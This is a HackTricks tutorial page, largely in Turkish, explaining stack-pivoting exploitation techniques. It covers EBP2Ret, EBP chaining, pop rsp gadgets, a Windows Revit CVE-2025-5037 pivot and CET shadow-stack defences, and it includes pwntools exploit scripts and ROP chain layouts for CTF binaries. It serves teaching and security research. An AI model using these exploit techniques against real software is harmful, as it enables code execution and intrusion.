Stack Pivoting

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu teknik, Base Pointer (EBP/RBP)’ı manipüle etme yeteneğini kullanarak, frame pointer ve leave; ret talimat dizisini dikkatli kullanmak suretiyle birden çok fonksiyonun yürütülmesini zincirleme şekilde sağlar.

Hatırlatma olarak, x86/x86-64 üzerinde leave eşdeğerdir:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

Ve kaydedilmiş EBP/RBP yığında kaydedilmiş EIP/RIP’den önce bulunduğundan, yığını kontrol ederek bunu kontrol etmek mümkündür.

Notlar

  • 64-bit’te EBP→RBP ve ESP→RSP olarak değiştirin. Semantik aynı.
  • Bazı derleyiciler frame pointer’ı atlayabilir (bkz. “EBP might not be used”). Bu durumda leave görünmeyebilir ve bu teknik işe yaramaz.

EBP2Ret

Bu teknik özellikle kaydedilmiş EBP/RBP’yi değiştirebildiğiniz ama EIP/RIP’i doğrudan değiştirecek bir yolunuz olmadığı durumlarda kullanışlıdır. Fonksiyon epilog davranışından yararlanır.

Eğer fvuln’un çalışması sırasında yığına, shellcode/ROP zincirinizin adresinin bulunduğu bir bellek bölgesine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (amd64 için +8 bayt / x86 için +4 bayt popu hesaba katmak için), RIP’i dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, leave RSP’yi hazırlanmış konuma ayarlar ve ardından gelen pop rbp RSP’yi azaltır; bu da RSP’nin orada saldırgan tarafından saklanan bir adrese işaret etmesini sağlar. Ardından ret o adresi kullanır.

Dikkat edin ki 2 adrese ihtiyacınız vardır: ESP/RSP’nin gideceği adres ve ret’in tüketeceği o adreste saklı olan değer.

Exploit Construction

Öncelikle rastgele veri/adresler yazabileceğiniz bir adres bilmeniz gerekir. RSP buraya işaret edecek ve ilk ret’i tüketecektir.

Sonra, yürütmeyi aktaracak ret tarafından kullanılacak adresi seçmeniz gerekir. Şunları kullanabilirsiniz:

  • Geçerli bir ONE_GADGET adresi.
  • system()’in adresi ve ardından uygun dönüş ve argümanlar (x86’d a: ret hedefi = &system, sonra 4 gereksiz byte, sonra &"/bin/sh").
  • Bir jmp esp; gadget’ının adresi (ret2esp) ve ardından inline shellcode.
  • Yazılabilir bellekte hazırlanmış bir ROP zinciri.

Kontrollü alanın bu adreslerinin öncesinde leave’in yapacağı pop ebp/rbp için boşluk (amd64’te 8B, x86’ta 4B) bulunması gerektiğini unutmayın. Bu byte’ları ikinci bir sahte EBP ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kullanabilirsiniz.

Off-By-One Exploit

Kaydedilmiş EBP/RBP’nin yalnızca en az anlamlı baytını değiştirebildiğiniz durumlarda kullanılan bir varyant vardır. Bu durumda, ret ile atlanacak adresi saklayan bellek konumu, 1 baytlık bir overwrite ile yönlendirebilmek için orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfada/hizalanmış bölgede atlamak için artırılır.

Ayrıca stack’te bir RET sled kullanmak ve gerçek ROP zincirini sona yerleştirmek yaygındır; bu, yeni RSP’nin sled’in içinde bir yere işaret etme ve nihai ROP zincirinin çalıştırılma olasılığını artırır.

EBP Chaining

Yığındaki kaydedilmiş EBP slotuna kontrol edilen bir adres koyup EIP/RIP’te bir leave; ret gadget’ı bulundurarak, ESP/RSP’yi saldırganın kontrol ettiği bir adrese taşımak mümkündür.

Artık RSP kontrol altında ve sonraki komut ret. Kontrollü belleğe şunları yerleştirin:

  • &(next fake EBP) -> leave’in pop ebp/rbp tarafından yüklenir.
  • &system() -> ret tarafından çağrılır.
  • &(leave;ret) -> system bitince, RSP’yi sonraki sahte EBP’ye taşır ve devam eder.
  • &("/bin/sh") -> system için argüman.

Bu şekilde program akışını kontrol etmek için birden fazla sahte EBP zincirlemek mümkündür.

Bu bir ret2lib gibidir, ancak daha karmaşıktır ve yalnızca uç durumlarda kullanışlıdır.

Dahası, burada bu tekniği bir stack leak ile kullanarak bir kazanan fonksiyonu çağıran bir example of a challenge bulunuyor. Sayfadaki son payload şu şekildedir:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 hizalama ipucu: System V ABI, çağrı noktalarında 16 baytlık stack hizalaması gerektirir. Eğer chain’iniz system gibi fonksiyonları çağırıyorsa, hizalamayı korumak ve movaps çöküşlerinden kaçınmak için çağrıdan önce bir alignment gadget (ör. ret, veya sub rsp, 8 ; ret) ekleyin.

EBP kullanılmayabilir

As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.

  • Optimize edilmemiş / frame pointer kullanılıyor:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimize edilmiş / frame pointer omitted:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

amd64’te genellikle leave ; ret yerine pop rbp ; ret görürsünüz, ancak frame pointer tamamen atıldıysa rbp-tabanlı bir epilog üzerinden pivot yapılamaz.

RSP’yi kontrol etmenin diğer yolları

pop rsp gadget

In this page bu tekniği kullanan bir örnek bulabilirsiniz. O challenge için iki belirli argümanla bir fonksiyon çağırılması gerekiyordu, ve bir pop rsp gadget vardı ve ayrıca bir leak from the stack vardı:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp tekniğini buradan inceleyin:

Ret2esp / Ret2reg

Pivot gadget’larını hızlıca bulma

Favori gadget finder’ınızı kullanarak klasik pivot primitives’i arayın:

  • leave ; ret fonksiyonlarda veya kütüphanelerde
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (veya x86’da add esp, <imm> ; ret)

Örnekler:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klasik pivot aşamalama deseni

Birçok CTF/exploits’te kullanılan sağlam bir pivot stratejisi:

  1. Küçük bir başlangıç overflow’u kullanarak read/recv ile büyük bir yazılabilir bölgeye (ör. .bss, heap veya mapped RW memory) çağırıp tam bir ROP chain’i oraya yerleştirin.
  2. RSP’yi o bölgeye taşımak için bir pivot gadget’a (leave ; ret, pop rsp, xchg rax, rsp ; ret) geri dönün.
  3. Aşamalı chain ile devam edin (ör. leak libc, mprotect çağırın, sonra shellcode’u read ile okuyun, ardından ona atlayın).

Windows: Destructor-loop weird-machine pivots (Revit RFA vaka incelemesi)

İstemci tarafı parser’lar bazen, attacker-controlled object alanlarından türetilen bir function pointer’ı dolaylı olarak çağıran destructor loop’lar uygular. Eğer her iterasyon tam olarak bir dolaylı çağrı sağlıyorsa (bir “one-gadget” machine), bunu güvenilir bir stack pivot ve ROP entry’ye dönüştürebilirsiniz.

Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Tipi AString olan crafted objeler offset 0’da attacker bytes’e işaret eden bir pointer yerleştirir.
  • Destructor loop etkili olarak her obje için bir gadget çalıştırır:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

İki pratik pivot:

  • Windows 10 (32-bit heap addrs): hizasız “monster gadget” içeren 8B E0mov esp, eax, sonunda ret; call primitive’den heap tabanlı bir ROP chain’e pivot yapmak için.
  • Windows 11 (full 64-bit addrs): iki obje kullanarak kısıtlı bir weird-machine pivot oluşturun:
  • Gadget 1: push rax ; pop rbp ; ret (orijinal rax’i rbp’ye taşır)
  • Gadget 2: leave ; ... ; ret (mov rsp, rbp ; pop rbp ; ret haline gelir), ilk objenin buffer’ına pivot yapar; burada geleneksel bir ROP chain takip eder.

Pivot sonrası Windows x64 için ipuçları:

  • 0x20-byte shadow space’a saygı gösterin ve call noktalarından önce 16-byte hizalamayı koruyun. Return adresinin üstüne literal’leri yerleştirmek ve lea rcx, [rsp+0x20] ; call rax gibi bir gadget’ı pop rax ; ret ile takip etmek, kontrol akışını bozmayacak şekilde stack adreslerini geçirmek için genellikle uygundur.
  • Non-ASLR helper modules (mevcutsa) stabil gadget havuzları ve LoadLibraryW/GetProcAddress gibi importlar sağlar; bunlar ucrtbase!system gibi hedefleri dinamik olarak çözmek için kullanılabilir.
  • Writable thunk aracılığıyla eksik gadget’lar oluşturma: eğer umut verici bir sıra writable bir function pointer üzerinden bir call ile bitiyorsa (ör. DLL import thunk veya .data içindeki function pointer), o pointer’ı pop rax ; ret gibi zararsız tek adımlık bir işlemle overwrite edin. Böylece sıra ret ile bitmiş gibi davranır (ör. mov rdx, rsi ; mov rcx, rdi ; ret), bu da diğer register’ları bozmadan Windows x64 arg register’larını yüklemek için çok değerlidir.

Tam zincir oluşturma ve gadget örnekleri için aşağıdaki referansa bakın.

stack pivoting’i bozan modern koruma önlemleri (CET/Shadow Stack)

Modern x86 CPU’lar ve işletim sistemleri giderek daha fazla CET Shadow Stack (SHSTK) kullanıyor. SHSTK etkin olduğunda, ret normal yığındaki return adresini donanım-korumalı shadow stack ile karşılaştırır; herhangi bir uyuşmazlık bir Control-Protection fault tetikler ve süreç sonlanır. Bu nedenle, EBP2Ret/leave;ret-tabanlı pivotlar gibi teknikler, pivot edilmiş bir stack’ten ilk ret çalıştırıldığında çökecektir.

  • For background and deeper details see:

CET & Shadow Stack

  • Linux üzerinde hızlı kontroller:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Lab/CTF için notlar:

  • Bazı modern dağıtımlar, donanım ve glibc desteği varsa CET-uyumlu ikili dosyalar için SHSTK etkinleştirir. Sanal makinelerde kontrollü testler için SHSTK, kernel boot parametresi nousershstk ile sistem genelinde devre dışı bırakılabilir veya başlatma sırasında glibc tunables ile seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde korumaları devre dışı bırakmayın.

  • JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hâlâ işe yarayabilir, fakat SHSTK özellikle ret tabanlı pivotları bozar.

  • Windows note: Windows 10+ kullanıcı modunda koruma sağlar ve Windows 11, shadow stacks üzerine inşa edilmiş “Hardware-enforced Stack Protection” ile kernel-mode’da ek koruma sunar. CET-uyumlu süreçler ret noktasında stack pivoting/ROP’u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılabilir (bkz. referans).

ARM64

In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

ARM64’te stack pivoting’e benzer bir şeyi gerçekleştirme yolu, SP’yi kontrol edebilmekten geçer (değeri SP’ye aktarılan bir register’ı kontrol ederek veya herhangi bir sebepten SP adresini stack’ten alıp bir overflow olmamız durumunda) ve sonra epilogu kötüye kullanarak kontrol edilen bir SP’den x30 register’ını yükleyip RET ile oraya dönmektir.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin